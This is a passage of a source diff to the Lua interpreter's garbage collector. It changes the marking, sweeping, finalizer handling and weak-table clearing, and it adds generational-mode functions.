weak mode? */ + (cast_void(smode = tsvalue(mode)), + cast_void(weakkey = strchr(getshrstr(smode), 'k')), + cast_void(weakvalue = strchr(getshrstr(smode), 'v')), (weakkey || weakvalue))) { /* is really weak? */ - black2gray(obj2gco(h)); /* keep table gray */ if (!weakkey) /* strong keys? */ traverseweakvalue(g, h); else if (!weakvalue) /* strong values? */ - traverseephemeron(g, h); + traverseephemeron(g, h, 0); else /* all weak */ - linktable(h, &g->allweak); /* nothing to traverse now */ + linkgclist(h, g->allweak); /* nothing to traverse now */ } else /* not weak */ traversestrongtable(g, h); - return sizeof(Table) + sizeof(TValue) * h->sizearray + - sizeof(Node) * cast(size_t, sizenode(h)); + return 1 + h->alimit + 2 * allocsizenode(h); } +static int traverseudata(global_State *g, Udata *u) { + int i; + markobjectN(g, u->metatable); /* mark its metatable */ + for (i = 0; i < u->nuvalue; i++) + markvalue(g, &u->uv[i].uv); + genlink(g, obj2gco(u)); + return 1 + u->nuvalue; +} + + +/* +** Traverse a prototype. (While a prototype is being build, its +** arrays can be larger than needed; the extra slots are filled with +** NULL, so the use of 'markobjectN') +*/ static int traverseproto(global_State *g, Proto *f) { int i; - if (f->cache && iswhite(obj2gco(f->cache))) - f->cache = NULL; /* allow cache to be collected */ - markobject(g, f->source); + markobjectN(g, f->source); for (i = 0; i < f->sizek; i++) /* mark literals */ markvalue(g, &f->k[i]); for (i = 0; i < f->sizeupvalues; i++) /* mark upvalue names */ - markobject(g, f->upvalues[i].name); + markobjectN(g, f->upvalues[i].name); for (i = 0; i < f->sizep; i++) /* mark nested protos */ - markobject(g, f->p[i]); + markobjectN(g, f->p[i]); for (i = 0; i < f->sizelocvars; i++) /* mark local-variable names */ - markobject(g, f->locvars[i].varname); - return sizeof(Proto) + sizeof(Instruction) * f->sizecode + - sizeof(Proto *) * f->sizep + - sizeof(TValue) * f->sizek + - sizeof(int) * f->sizelineinfo + - sizeof(LocVar) * f->sizelocvars + - sizeof(Upvaldesc) * f->sizeupvalues; + markobjectN(g, f->locvars[i].varname); + return 1 + f->sizek + f->sizeupvalues + f->sizep + f->sizelocvars; } -static lu_mem traverseCclosure(global_State *g, CClosure *cl) { +static int traverseCclosure(global_State *g, CClosure *cl) { int i; for (i = 0; i < cl->nupvalues; i++) /* mark its upvalues */ markvalue(g, &cl->upvalue[i]); - return sizeCclosure(cl->nupvalues); + return 1 + cl->nupvalues; } -static lu_mem traverseLclosure(global_State *g, LClosure *cl) { +/* +** Traverse a Lua closure, marking its prototype and its upvalues. +** (Both can be NULL while closure is being created.) +*/ +static int traverseLclosure(global_State *g, LClosure *cl) { int i; - markobject(g, cl->p); /* mark its prototype */ - for (i = 0; i < cl->nupvalues; i++) /* mark its upvalues */ - markobject(g, cl->upvals[i]); - return sizeLclosure(cl->nupvalues); + markobjectN(g, cl->p); /* mark its prototype */ + for (i = 0; i < cl->nupvalues; i++) { /* visit its upvalues */ + UpVal *uv = cl->upvals[i]; + markobjectN(g, uv); /* mark upvalue */ + } + return 1 + cl->nupvalues; } -static lu_mem traversestack(global_State *g, lua_State *th) { - int n = 0; - StkId o = th->stack; +/* +** Traverse a thread, marking the elements in the stack up to its top +** and cleaning the rest of the stack in the final traversal. That +** ensures that the entire stack have valid (non-dead) objects. +** Threads have no barriers. In gen. mode, old threads must be visited +** at every cycle, because they might point to young objects. In inc. +** mode, the thread can still be modified before the end of the cycle, +** and therefore it must be visited again in the atomic phase. To ensure +** these visits, threads must return to a gray list if they are not new +** (which can only happen in generational mode) or if the traverse is in +** the propagate phase (which can only happen in incremental mode). +*/ +static int traversethread(global_State *g, lua_State *th) { + UpVal *uv; + StkId o = th->stack.p; + if (isold(th) || g->gcstate == GCSpropagate) + linkgclist(th, g->grayagain); /* insert into 'grayagain' list */ if (o == NULL) return 1; /* stack not completely built yet */ - - for (; o < th->top; o++) /* mark live elements in the stack */ - markvalue(g, o); - + lua_assert(g->gcstate == GCSatomic || + th->openupval == NULL || isintwups(th)); + for (; o < th->top.p; o++) /* mark live elements in the stack */ + markvalue(g, s2v(o)); + for (uv = th->openupval; uv != NULL; uv = uv->u.open.next) + markobject(g, uv); /* open upvalues cannot be collected */ if (g->gcstate == GCSatomic) { /* final traversal? */ - StkId lim = th->stack + th->stacksize; /* real end of stack */ - for (; o < lim; o++) /* clear not-marked stack slice */ - setnilvalue(o); - - } else { /* count call infos to compute size */ - CallInfo *ci; - for (ci = &th->base_ci; ci != th->ci; ci = ci->next) - n++; + if (!g->gcemergency) + luaD_shrinkstack(th); /* do not change stack in emergency cycle */ + for (o = th->top.p; o < th->stack_last.p + EXTRA_STACK; o++) + setnilvalue(s2v(o)); /* clear dead stack slice */ + /* 'remarkupvals' may have removed thread from 'twups' list */ + if (!isintwups(th) && th->openupval != NULL) { + th->twups = g->twups; /* link it back to the list */ + g->twups = th; + } } - return sizeof(lua_State) + sizeof(TValue) * th->stacksize + sizeof(CallInfo) * n; + return 1 + stacksize(th); } /* -** traverse one gray object, turning it to black (except for threads, -** which are always gray). +** traverse one gray object, turning it to black. */ -static void propagatemark(global_State *g) { - lu_mem size; +static lu_mem propagatemark(global_State *g) { GCObject *o = g->gray; - lua_assert(isgray(o)); - gray2black(o); - switch (gch(o)->tt) { - case LUA_TTABLE: { - Table *h = gco2t(o); - g->gray = h->gclist; /* remove from 'gray' list */ - size = traversetable(g, h); - break; - } - case LUA_TLCL: { - LClosure *cl = gco2lcl(o); - g->gray = cl->gclist; /* remove from 'gray' list */ - size = traverseLclosure(g, cl); - break; - } - case LUA_TCCL: { - CClosure *cl = gco2ccl(o); - g->gray = cl->gclist; /* remove from 'gray' list */ - size = traverseCclosure(g, cl); - break; - } - case LUA_TTHREAD: { - lua_State *th = gco2th(o); - g->gray = th->gclist; /* remove from 'gray' list */ - th->gclist = g->grayagain; - g->grayagain = o; /* insert into 'grayagain' list */ - black2gray(o); - size = traversestack(g, th); - break; - } - case LUA_TPROTO: { - Proto *p = gco2p(o); - g->gray = p->gclist; /* remove from 'gray' list */ - size = traverseproto(g, p); - break; - } + nw2black(o); + g->gray = *getgclist(o); /* remove from 'gray' list */ + switch (o->tt) { + case LUA_VTABLE: + return traversetable(g, gco2t(o)); + case LUA_VUSERDATA: + return traverseudata(g, gco2u(o)); + case LUA_VLCL: + return traverseLclosure(g, gco2lcl(o)); + case LUA_VCCL: + return traverseCclosure(g, gco2ccl(o)); + case LUA_VPROTO: + return traverseproto(g, gco2p(o)); + case LUA_VTHREAD: + return traversethread(g, gco2th(o)); default: lua_assert(0); - return; + return 0; } - g->GCmemtrav += size; } -static void propagateall(global_State *g) { - while (g->gray) propagatemark(g); +static lu_mem propagateall(global_State *g) { + lu_mem tot = 0; + while (g->gray) + tot += propagatemark(g); + return tot; } -static void propagatelist(global_State *g, GCObject *l) { - lua_assert(g->gray == NULL); /* no grays left */ - g->gray = l; - propagateall(g); /* traverse all elements from 'l' */ -} - /* -** retraverse all gray lists. Because tables may be reinserted in other -** lists when traversed, traverse the original lists to avoid traversing -** twice the same table (which is not wrong, but inefficient) +** Traverse all ephemeron tables propagating marks from keys to values. +** Repeat until it converges, that is, nothing new is marked. 'dir' +** inverts the direction of the traversals, trying to speed up +** convergence on chains in the same table. +** */ -static void retraversegrays(global_State *g) { - GCObject *weak = g->weak; /* save original lists */ - GCObject *grayagain = g->grayagain; - GCObject *ephemeron = g->ephemeron; - g->weak = g->grayagain = g->ephemeron = NULL; - propagateall(g); /* traverse main gray list */ - propagatelist(g, grayagain); - propagatelist(g, weak); - propagatelist(g, ephemeron); -} - - static void convergeephemerons(global_State *g) { int changed; + int dir = 0; do { GCObject *w; GCObject *next = g->ephemeron; /* get ephemeron list */ - g->ephemeron = NULL; /* tables will return to this list when traversed */ + g->ephemeron = NULL; /* tables may return to this list when traversed */ changed = 0; - while ((w = next) != NULL) { - next = gco2t(w)->gclist; - if (traverseephemeron(g, gco2t(w))) { /* traverse marked some value? */ + while ((w = next) != NULL) { /* for each ephemeron table */ + Table *h = gco2t(w); + next = h->gclist; /* list is rebuilt during loop */ + nw2black(h); /* out of the list (for now) */ + if (traverseephemeron(g, h, dir)) { /* marked some value? */ propagateall(g); /* propagate changes */ changed = 1; /* will have to revisit all ephemeron tables */ } } - } while (changed); + dir = !dir; /* invert direction next time */ + } while (changed); /* repeat until no more changes */ } /* }====================================================== */ @@ -619,18 +736,18 @@ static void convergeephemerons(global_State *g) { /* -** clear entries with unmarked keys from all weaktables in list 'l' up -** to element 'f' +** clear entries with unmarked keys from all weaktables in list 'l' */ -static void clearkeys(global_State *g, GCObject *l, GCObject *f) { - for (; l != f; l = gco2t(l)->gclist) { +static void clearbykeys(global_State *g, GCObject *l) { + for (; l; l = gco2t(l)->gclist) { Table *h = gco2t(l); - Node *n, *limit = gnodelast(h); + Node *limit = gnodelast(h); + Node *n; for (n = gnode(h, 0); n < limit; n++) { - if (!ttisnil(gval(n)) && (iscleared(g, gkey(n)))) { - setnilvalue(gval(n)); /* remove value ... */ - removeentry(n); /* and remove entry from table */ - } + if (iscleared(g, gckeyN(n))) /* unmarked key? */ + setempty(gval(n)); /* remove entry */ + if (isempty(gval(n))) /* is entry empty? */ + clearkey(n); /* clear its key */ } } } @@ -640,56 +757,72 @@ static void clearkeys(global_State *g, GCObject *l, GCObject *f) { ** clear entries with unmarked values from all weaktables in list 'l' up ** to element 'f' */ -static void clearvalues(global_State *g, GCObject *l, GCObject *f) { +static void clearbyvalues(global_State *g, GCObject *l, GCObject *f) { for (; l != f; l = gco2t(l)->gclist) { Table *h = gco2t(l); Node *n, *limit = gnodelast(h); - int i; - for (i = 0; i < h->sizearray; i++) { + unsigned int i; + unsigned int asize = luaH_realasize(h); + for (i = 0; i < asize; i++) { TValue *o = &h->array[i]; - if (iscleared(g, o)) /* value was collected? */ - setnilvalue(o); /* remove value */ + if (iscleared(g, gcvalueN(o))) /* value was collected? */ + setempty(o); /* remove entry */ } for (n = gnode(h, 0); n < limit; n++) { - if (!ttisnil(gval(n)) && iscleared(g, gval(n))) { - setnilvalue(gval(n)); /* remove value ... */ - removeentry(n); /* and remove entry from table */ - } + if (iscleared(g, gcvalueN(gval(n)))) /* unmarked value? */ + setempty(gval(n)); /* remove entry */ + if (isempty(gval(n))) /* is entry empty? */ + clearkey(n); /* clear its key */ } } } +static void freeupval(lua_State *L, UpVal *uv) { + if (upisopen(uv)) + luaF_unlinkupval(uv); + luaM_free(L, uv); +} + + static void freeobj(lua_State *L, GCObject *o) { - switch (gch(o)->tt) { - case LUA_TPROTO: + switch (o->tt) { + case LUA_VPROTO: luaF_freeproto(L, gco2p(o)); break; - case LUA_TLCL: { - luaM_freemem(L, o, sizeLclosure(gco2lcl(o)->nupvalues)); + case LUA_VUPVAL: + freeupval(L, gco2upv(o)); + break; + case LUA_VLCL: { + LClosure *cl = gco2lcl(o); + luaM_freemem(L, cl, sizeLclosure(cl->nupvalues)); break; } - case LUA_TCCL: { - luaM_freemem(L, o, sizeCclosure(gco2ccl(o)->nupvalues)); + case LUA_VCCL: { + CClosure *cl = gco2ccl(o); + luaM_freemem(L, cl, sizeCclosure(cl->nupvalues)); break; } - case LUA_TUPVAL: - luaF_freeupval(L, gco2uv(o)); - break; - case LUA_TTABLE: + case LUA_VTABLE: luaH_free(L, gco2t(o)); break; - case LUA_TTHREAD: + case LUA_VTHREAD: luaE_freethread(L, gco2th(o)); break; - case LUA_TUSERDATA: - luaM_freemem(L, o, sizeudata(gco2u(o))); + case LUA_VUSERDATA: { + Udata *u = gco2u(o); + luaM_freemem(L, o, sizeudata(u->nuvalue, u->len)); break; - case LUA_TSHRSTR: - G(L)->strt.nuse--; - /* go through */ - case LUA_TLNGSTR: { - luaM_freemem(L, o, sizestring(gco2ts(o))); + } + case LUA_VSHRSTR: { + TString *ts = gco2ts(o); + luaS_remove(L, ts); /* remove it from hash table */ + luaM_freemem(L, ts, sizelstring(ts->shrlen)); + break; + } + case LUA_VLNGSTR: { + TString *ts = gco2ts(o); + luaM_freemem(L, ts, sizelstring(ts->u.lnglen)); break; } default: @@ -698,65 +831,32 @@ static void freeobj(lua_State *L, GCObject *o) { } -#define sweepwholelist(L,p) sweeplist(L,p,MAX_LUMEM) -static GCObject **sweeplist(lua_State *L, GCObject **p, lu_mem count); - - /* -** sweep the (open) upvalues of a thread and resize its stack and -** list of call-info structures. +** sweep at most 'countin' elements from a list of GCObjects erasing dead +** objects, where a dead object is one marked with the old (non current) +** white; change all non-dead objects back to white, preparing for next +** collection cycle. Return where to continue the traversal or NULL if +** list is finished. ('*countout' gets the number of elements traversed.) */ -static void sweepthread(lua_State *L, lua_State *L1) { - if (L1->stack == NULL) return; /* stack not completely built yet */ - sweepwholelist(L, &L1->openupval); /* sweep open upvalues */ - luaE_freeCI(L1); /* free extra CallInfo slots */ - /* should not change the stack during an emergency gc cycle */ - if (G(L)->gckind != KGC_EMERGENCY) - luaD_shrinkstack(L1); -} - - -/* -** sweep at most 'count' elements from a list of GCObjects erasing dead -** objects, where a dead (not alive) object is one marked with the "old" -** (non current) white and not fixed. -** In non-generational mode, change all non-dead objects back to white, -** preparing for next collection cycle. -** In generational mode, keep black objects black, and also mark them as -** old; stop when hitting an old object, as all objects after that -** one will be old too. -** When object is a thread, sweep its list of open upvalues too. -*/ -static GCObject **sweeplist(lua_State *L, GCObject **p, lu_mem count) { +static GCObject **sweeplist(lua_State *L, GCObject **p, int countin, + int *countout) { global_State *g = G(L); int ow = otherwhite(g); - int toclear, toset; /* bits to clear and to set in all live objects */ - int tostop; /* stop sweep when this is true */ - if (isgenerational(g)) { /* generational mode? */ - toclear = ~0; /* clear nothing */ - toset = bitmask(OLDBIT); /* set the old bit of all surviving objects */ - tostop = bitmask(OLDBIT); /* do not sweep old generation */ - } else { /* normal mode */ - toclear = maskcolors; /* clear all color bits + old bit */ - toset = luaC_white(g); /* make object white */ - tostop = 0; /* do not stop */ - } - while (*p != NULL && count-- > 0) { + int i; + int white = luaC_white(g); /* current white */ + for (i = 0; *p != NULL && i < countin; i++) { GCObject *curr = *p; - int marked = gch(curr)->marked; + int marked = curr->marked; if (isdeadm(ow, marked)) { /* is 'curr' dead? */ - *p = gch(curr)->next; /* remove 'curr' from list */ + *p = curr->next; /* remove 'curr' from list */ freeobj(L, curr); /* erase 'curr' */ - } else { - if (testbits(marked, tostop)) - return NULL; /* stop sweeping this list */ - if (gch(curr)->tt == LUA_TTHREAD) - sweepthread(L, gco2th(curr)); /* sweep thread's upvalues */ - /* update marks */ - gch(curr)->marked = cast_byte((marked & toclear) | toset); - p = &gch(curr)->next; /* go to next element */ + } else { /* change mark to 'white' */ + curr->marked = cast_byte((marked & ~maskgcbits) | white); + p = &curr->next; /* go to next element */ } } + if (countout) + *countout = i; /* number of elements traversed */ return (*p == NULL) ? NULL : p; } @@ -764,14 +864,11 @@ static GCObject **sweeplist(lua_State *L, GCObject **p, lu_mem count) { /* ** sweep a list until a live object (or end of list) */ -static GCObject **sweeptolive(lua_State *L, GCObject **p, int *n) { +static GCObject **sweeptolive(lua_State *L, GCObject **p) { GCObject **old = p; - int i = 0; do { - i++; - p = sweeplist(L, p, 1); + p = sweeplist(L, p, 1, NULL); } while (p == old); - if (n) *n += i; return p; } @@ -784,130 +881,607 @@ static GCObject **sweeptolive(lua_State *L, GCObject **p, int *n) { ** ======================================================= */ -static void checkSizes(lua_State *L) { - global_State *g = G(L); - if (g->gckind != KGC_EMERGENCY) { /* do not change sizes in emergency */ - int hs = g->strt.size / 2; /* half the size of the string table */ - if (g->strt.nuse < cast(lu_int32, hs)) /* using less than that half? */ - luaS_resize(L, hs); /* halve its size */ - luaZ_freebuffer(L, &g->buff); /* free concatenation buffer */ - } -} - - -static GCObject *udata2finalize(global_State *g) { - GCObject *o = g->tobefnz; /* get first element */ - lua_assert(isfinalized(o)); - g->tobefnz = gch(o)->next; /* remove it from 'tobefnz' list */ - gch(o)->next = g->allgc; /* return it to 'allgc' list */ - g->allgc = o; - resetbit(gch(o)->marked, SEPARATED); /* mark that it is not in 'tobefnz' */ - lua_assert(!isold(o)); /* see MOVE OLD rule */ - if (!keepinvariantout(g)) /* not keeping invariant? */ - makewhite(g, o); /* "sweep" object */ - return o; -} - - -static void dothecall(lua_State *L, void *ud) { - UNUSED(ud); - luaD_call(L, L->top - 2, 0, 0); -} - - -static void GCTM(lua_State *L, int propagateerrors) { - global_State *g = G(L); - const TValue *tm; - TValue v; - setgcovalue(L, &v, udata2finalize(g)); - tm = luaT_gettmbyobj(L, &v, TM_GC); - if (tm != NULL && ttisfunction(tm)) { /* is there a finalizer? */ - int status; - lu_byte oldah = L->allowhook; - int running = g->gcrunning; - L->allowhook = 0; /* stop debug hooks during GC metamethod */ - g->gcrunning = 0; /* avoid GC steps */ - setobj2s(L, L->top, tm); /* push finalizer... */ - setobj2s(L, L->top + 1, &v); /* ... and its argument */ - L->top += 2; /* and (next line) call the finalizer */ - status = luaD_pcall(L, dothecall, NULL, savestack(L, L->top - 2), 0); - L->allowhook = oldah; /* restore hooks */ - g->gcrunning = running; /* restore state */ - if (status != LUA_OK && propagateerrors) { /* error while running __gc? */ - if (status == LUA_ERRRUN) { /* is there an error object? */ - const char *msg = (ttisstring(L->top - 1)) - ? svalue(L->top - 1) - : "no message"; - luaO_pushfstring(L, "error in __gc metamethod (%s)", msg); - status = LUA_ERRGCMM; /* error in __gc metamethod */ - } - luaD_throw(L, status); /* re-throw error */ +/* +** If possible, shrink string table. +*/ +static void checkSizes(lua_State *L, global_State *g) { + if (!g->gcemergency) { + if (g->strt.nuse < g->strt.size / 4) { /* string table too big? */ + l_mem olddebt = g->GCdebt; + luaS_resize(L, g->strt.size / 2); + g->GCestimate += g->GCdebt - olddebt; /* correct estimate */ } } } /* -** move all unreachable objects (or 'all' objects) that need -** finalization from list 'finobj' to list 'tobefnz' (to be finalized) +** Get the next udata to be finalized from the 'tobefnz' list, and +** link it back into the 'allgc' list. */ -static void separatetobefnz(lua_State *L, int all) { +static GCObject *udata2finalize(global_State *g) { + GCObject *o = g->tobefnz; /* get first element */ + lua_assert(tofinalize(o)); + g->tobefnz = o->next; /* remove it from 'tobefnz' list */ + o->next = g->allgc; /* return it to 'allgc' list */ + g->allgc = o; + resetbit(o->marked, FINALIZEDBIT); /* object is "normal" again */ + if (issweepphase(g)) + makewhite(g, o); /* "sweep" object */ + else if (getage(o) == G_OLD1) + g->firstold1 = o; /* it is the first OLD1 object in the list */ + return o; +} + + +static void dothecall(lua_State *L, void *ud) { + UNUSED(ud); + luaD_callnoyield(L, L->top.p - 2, 0); +} + + +static void GCTM(lua_State *L) { global_State *g = G(L); - GCObject **p = &g->finobj; - GCObject *curr; - GCObject **lastnext = &g->tobefnz; - /* find last 'next' field in 'tobefnz' list (to add elements in its end) */ - while (*lastnext != NULL) - lastnext = &gch(*lastnext)->next; - while ((curr = *p) != NULL) { /* traverse all finalizable objects */ - lua_assert(!isfinalized(curr)); - lua_assert(testbit(gch(curr)->marked, SEPARATED)); - if (!(iswhite(curr) || all)) /* not being collected? */ - p = &gch(curr)->next; /* don't bother with it */ - else { - l_setbit(gch(curr)->marked, FINALIZEDBIT); /* won't be finalized again */ - *p = gch(curr)->next; /* remove 'curr' from 'finobj' list */ - gch(curr)->next = *lastnext; /* link at the end of 'tobefnz' list */ - *lastnext = curr; - lastnext = &gch(curr)->next; + const TValue *tm; + TValue v; + lua_assert(!g->gcemergency); + setgcovalue(L, &v, udata2finalize(g)); + tm = luaT_gettmbyobj(L, &v, TM_GC); + if (!notm(tm)) { /* is there a finalizer? */ + int status; + lu_byte oldah = L->allowhook; + int oldgcstp = g->gcstp; + g->gcstp |= GCSTPGC; /* avoid GC steps */ + L->allowhook = 0; /* stop debug hooks during GC metamethod */ + setobj2s(L, L->top.p++, tm); /* push finalizer... */ + setobj2s(L, L->top.p++, &v); /* ... and its argument */ + L->ci->callstatus |= CIST_FIN; /* will run a finalizer */ + status = luaD_pcall(L, dothecall, NULL, savestack(L, L->top.p - 2), 0); + L->ci->callstatus &= ~CIST_FIN; /* not running a finalizer anymore */ + L->allowhook = oldah; /* restore hooks */ + g->gcstp = oldgcstp; /* restore state */ + if (l_unlikely(status != LUA_OK)) { /* error while running __gc? */ + luaE_warnerror(L, "__gc"); + L->top.p--; /* pops error object */ } } } +/* +** Call a few finalizers +*/ +static int runafewfinalizers(lua_State *L, int n) { + global_State *g = G(L); + int i; + for (i = 0; i < n && g->tobefnz; i++) + GCTM(L); /* call one finalizer */ + return i; +} + + +/* +** call all pending finalizers +*/ +static void callallpendingfinalizers(lua_State *L) { + global_State *g = G(L); + while (g->tobefnz) + GCTM(L); +} + + +/* +** find last 'next' field in list 'p' list (to add elements in its end) +*/ +static GCObject **findlast(GCObject **p) { + while (*p != NULL) + p = &(*p)->next; + return p; +} + + +/* +** Move all unreachable objects (or 'all' objects) that need +** finalization from list 'finobj' to list 'tobefnz' (to be finalized). +** (Note that objects after 'finobjold1' cannot be white, so they +** don't need to be traversed. In incremental mode, 'finobjold1' is NULL, +** so the whole list is traversed.) +*/ +static void separatetobefnz(global_State *g, int all) { + GCObject *curr; + GCObject **p = &g->finobj; + GCObject **lastnext = findlast(&g->tobefnz); + while ((curr = *p) != g->finobjold1) { /* traverse all finalizable objects */ + lua_assert(tofinalize(curr)); + if (!(iswhite(curr) || all)) /* not being collected? */ + p = &curr->next; /* don't bother with it */ + else { + if (curr == g->finobjsur) /* removing 'finobjsur'? */ + g->finobjsur = curr->next; /* correct it */ + *p = curr->next; /* remove 'curr' from 'finobj' list */ + curr->next = *lastnext; /* link at the end of 'tobefnz' list */ + *lastnext = curr; + lastnext = &curr->next; + } + } +} + + +/* +** If pointer 'p' points to 'o', move it to the next element. +*/ +static void checkpointer(GCObject **p, GCObject *o) { + if (o == *p) + *p = o->next; +} + + +/* +** Correct pointers to objects inside 'allgc' list when +** object 'o' is being removed from the list. +*/ +static void correctpointers(global_State *g, GCObject *o) { + checkpointer(&g->survival, o); + checkpointer(&g->old1, o); + checkpointer(&g->reallyold, o); + checkpointer(&g->firstold1, o); +} + + /* ** if object 'o' has a finalizer, remove it from 'allgc' list (must ** search the list to find it) and link it in 'finobj' list. */ void luaC_checkfinalizer(lua_State *L, GCObject *o, Table *mt) { global_State *g = G(L); - if (testbit(gch(o)->marked, SEPARATED) || /* obj. is already separated... */ - isfinalized(o) || /* ... or is finalized... */ - gfasttm(g, mt, TM_GC) == NULL) /* or has no finalizer? */ + if (tofinalize(o) || /* obj. is already marked... */ + gfasttm(g, mt, TM_GC) == NULL || /* or has no finalizer... */ + (g->gcstp & GCSTPCLS)) /* or closing state? */ return; /* nothing to be done */ else { /* move 'o' to 'finobj' list */ GCObject **p; - GCheader *ho = gch(o); - if (g->sweepgc == &ho->next) { /* avoid removing current sweep object */ - lua_assert(issweepphase(g)); - g->sweepgc = sweeptolive(L, g->sweepgc, NULL); - } + if (issweepphase(g)) { + makewhite(g, o); /* "sweep" object 'o' */ + if (g->sweepgc == &o->next) /* should not remove 'sweepgc' object */ + g->sweepgc = sweeptolive(L, g->sweepgc); /* change 'sweepgc' */ + } else + correctpointers(g, o); /* search for pointer pointing to 'o' */ - for (p = &g->allgc; *p != o; p = &gch(*p)->next) { /* empty */ } - *p = ho->next; /* remove 'o' from root list */ - ho->next = g->finobj; /* link it in list 'finobj' */ + for (p = &g->allgc; *p != o; p = &(*p)->next) { /* empty */ } + *p = o->next; /* remove 'o' from 'allgc' list */ + o->next = g->finobj; /* link it in 'finobj' list */ g->finobj = o; - l_setbit(ho->marked, SEPARATED); /* mark it as such */ - if (!keepinvariantout(g)) /* not keeping invariant? */ - makewhite(g, o); /* "sweep" object */ - else - resetoldbit(o); /* see MOVE OLD rule */ + l_setbit(o->marked, FINALIZEDBIT); /* mark it as such */ } } /* }====================================================== */ +/* +** {====================================================== +** Generational Collector +** ======================================================= +*/ + + +/* +** Set the "time" to wait before starting a new GC cycle; cycle will +** start when memory use hits the threshold of ('estimate' * pause / +** PAUSEADJ). (Division by 'estimate' should be OK: it cannot be zero, +** because Lua cannot even start with less than PAUSEADJ bytes). +*/ +static void setpause(global_State *g) { + l_mem threshold, debt; + int pause = getgcparam(g->gcpause); + l_mem estimate = g->GCestimate / PAUSEADJ; /* adjust 'estimate' */ + lua_assert(estimate > 0); + threshold = (pause < MAX_LMEM / estimate) /* overflow? */ + ? estimate * pause /* no overflow */ + : MAX_LMEM; /* overflow; truncate to maximum */ + debt = gettotalbytes(g) - threshold; + if (debt > 0) debt = 0; + luaE_setdebt(g, debt); +} + + +/* +** Sweep a list of objects to enter generational mode. Deletes dead +** objects and turns the non dead to old. All non-dead threads---which +** are now old---must be in a gray list. Everything else is not in a +** gray list. Open upvalues are also kept gray. +*/ +static void sweep2old(lua_State *L, GCObject **p) { + GCObject *curr; + global_State *g = G(L); + while ((curr = *p) != NULL) { + if (iswhite(curr)) { /* is 'curr' dead? */ + lua_assert(isdead(g, curr)); + *p = curr->next; /* remove 'curr' from list */ + freeobj(L, curr); /* erase 'curr' */ + } else { /* all surviving objects become old */ + setage(curr, G_OLD); + if (curr->tt == LUA_VTHREAD) { /* threads must be watched */ + lua_State *th = gco2th(curr); + linkgclist(th, g->grayagain); /* insert into 'grayagain' list */ + } else if (curr->tt == LUA_VUPVAL && upisopen(gco2upv(curr))) + set2gray(curr); /* open upvalues are always gray */ + else /* everything else is black */ + nw2black(curr); + p = &curr->next; /* go to next element */ + } + } +} + + +/* +** Sweep for generational mode. Delete dead objects. (Because the +** collection is not incremental, there are no "new white" objects +** during the sweep. So, any white object must be dead.) For +** non-dead objects, advance their ages and clear the color of +** new objects. (Old objects keep their colors.) +** The ages of G_TOUCHED1 and G_TOUCHED2 objects cannot be advanced +** here, because these old-generation objects are usually not swept +** here. They will all be advanced in 'correctgraylist'. That function +** will also remove objects turned white here from any gray list. +*/ +static GCObject **sweepgen(lua_State *L, global_State *g, GCObject **p, + GCObject *limit, GCObject **pfirstold1) { + static const lu_byte nextage[] = { + G_SURVIVAL, /* from G_NEW */ + G_OLD1, /* from G_SURVIVAL */ + G_OLD1, /* from G_OLD0 */ + G_OLD, /* from G_OLD1 */ + G_OLD, /* from G_OLD (do not change) */ + G_TOUCHED1, /* from G_TOUCHED1 (do not change) */ + G_TOUCHED2 /* from G_TOUCHED2 (do not change) */ + }; + int white = luaC_white(g); + GCObject *curr; + while ((curr = *p) != limit) { + if (iswhite(curr)) { /* is 'curr' dead? */ + lua_assert(!isold(curr) && isdead(g, curr)); + *p = curr->next; /* remove 'curr' from list */ + freeobj(L, curr); /* erase 'curr' */ + } else { /* correct mark and age */ + if (getage(curr) == G_NEW) { /* new objects go back to white */ + int marked = curr->marked & ~maskgcbits; /* erase GC bits */ + curr->marked = cast_byte(marked | G_SURVIVAL | white); + } else { /* all other objects will be old, and so keep their color */ + setage(curr, nextage[getage(curr)]); + if (getage(curr) == G_OLD1 && *pfirstold1 == NULL) + *pfirstold1 = curr; /* first OLD1 object in the list */ + } + p = &curr->next; /* go to next element */ + } + } + return p; +} + + +/* +** Traverse a list making all its elements white and clearing their +** age. In incremental mode, all objects are 'new' all the time, +** except for fixed strings (which are always old). +*/ +static void whitelist(global_State *g, GCObject *p) { + int white = luaC_white(g); + for (; p != NULL; p = p->next) + p->marked = cast_byte((p->marked & ~maskgcbits) | white); +} + + +/* +** Correct a list of gray objects. Return pointer to where rest of the +** list should be linked. +** Because this correction is done after sweeping, young objects might +** be turned white and still be in the list. They are only removed. +** 'TOUCHED1' objects are advanced to 'TOUCHED2' and remain on the list; +** Non-white threads also remain on the list; 'TOUCHED2' objects become +** regular old; they and anything else are removed from the list. +*/ +static GCObject **correctgraylist(GCObject **p) { + GCObject *curr; + while ((curr = *p) != NULL) { + GCObject **next = getgclist(curr); + if (iswhite(curr)) + goto remove; /* remove all white objects */ + else if (getage(curr) == G_TOUCHED1) { /* touched in this cycle? */ + lua_assert(isgray(curr)); + nw2black(curr); /* make it black, for next barrier */ + changeage(curr, G_TOUCHED1, G_TOUCHED2); + goto remain; /* keep it in the list and go to next element */ + } else if (curr->tt == LUA_VTHREAD) { + lua_assert(isgray(curr)); + goto remain; /* keep non-white threads on the list */ + } else { /* everything else is removed */ + lua_assert(isold(curr)); /* young objects should be white here */ + if (getage(curr) == G_TOUCHED2) /* advance from TOUCHED2... */ + changeage(curr, G_TOUCHED2, G_OLD); /* ... to OLD */ + nw2black(curr); /* make object black (to be removed) */ + goto remove; + } +remove: + *p = *next; + continue; +remain: + p = next; + continue; + } + return p; +} + + +/* +** Correct all gray lists, coalescing them into 'grayagain'. +*/ +static void correctgraylists(global_State *g) { + GCObject **list = correctgraylist(&g->grayagain); + *list = g->weak; + g->weak = NULL; + list = correctgraylist(list); + *list = g->allweak; + g->allweak = NULL; + list = correctgraylist(list); + *list = g->ephemeron; + g->ephemeron = NULL; + correctgraylist(list); +} + + +/* +** Mark black 'OLD1' objects when starting a new young collection. +** Gray objects are already in some gray list, and so will be visited +** in the atomic step. +*/ +static void markold(global_State *g, GCObject *from, GCObject *to) { + GCObject *p; + for (p = from; p != to; p = p->next) { + if (getage(p) == G_OLD1) { + lua_assert(!iswhite(p)); + changeage(p, G_OLD1, G_OLD); /* now they are old */ + if (isblack(p)) + reallymarkobject(g, p); + } + } +} + + +/* +** Finish a young-generation collection. +*/ +static void finishgencycle(lua_State *L, global_State *g) { + correctgraylists(g); + checkSizes(L, g); + g->gcstate = GCSpropagate; /* skip restart */ + if (!g->gcemergency) + callallpendingfinalizers(L); +} + + +/* +** Does a young collection. First, mark 'OLD1' objects. Then does the +** atomic step. Then, sweep all lists and advance pointers. Finally, +** finish the collection. +*/ +static void youngcollection(lua_State *L, global_State *g) { + GCObject **psurvival; /* to point to 